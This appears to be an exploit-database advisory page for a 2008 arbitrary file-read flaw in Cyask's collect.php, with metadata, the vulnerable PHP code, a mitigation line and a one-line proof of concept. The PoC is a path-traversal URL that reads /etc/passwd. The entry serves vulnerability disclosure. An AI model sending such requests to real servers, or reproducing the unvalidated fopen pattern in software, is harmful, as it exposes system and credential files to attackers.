header-logo
Suggest Exploit
vendor:
Cyask
by:
milw0rm.com
7.5
CVSS
HIGH
File Read Vulnerability
20
CWE
Product Name: Cyask
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Cyask File Read Vulnerability

The vulnerability exists in the $neturl variable in collect.php, which is short of enough check. When the attacker registers a new user, he can pass the user check and then submit any filename to $neturl so that collect.php can read it.

Mitigation:

Ensure that the $neturl variable is properly validated and sanitized.
Source

Exploit-DB raw data:

This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass 
the user check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);
  
    $collect_url=empty($neturl) ? $url : $neturl;
  
    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?neturl=../../../etc/passwd

# milw0rm.com [2008-09-18]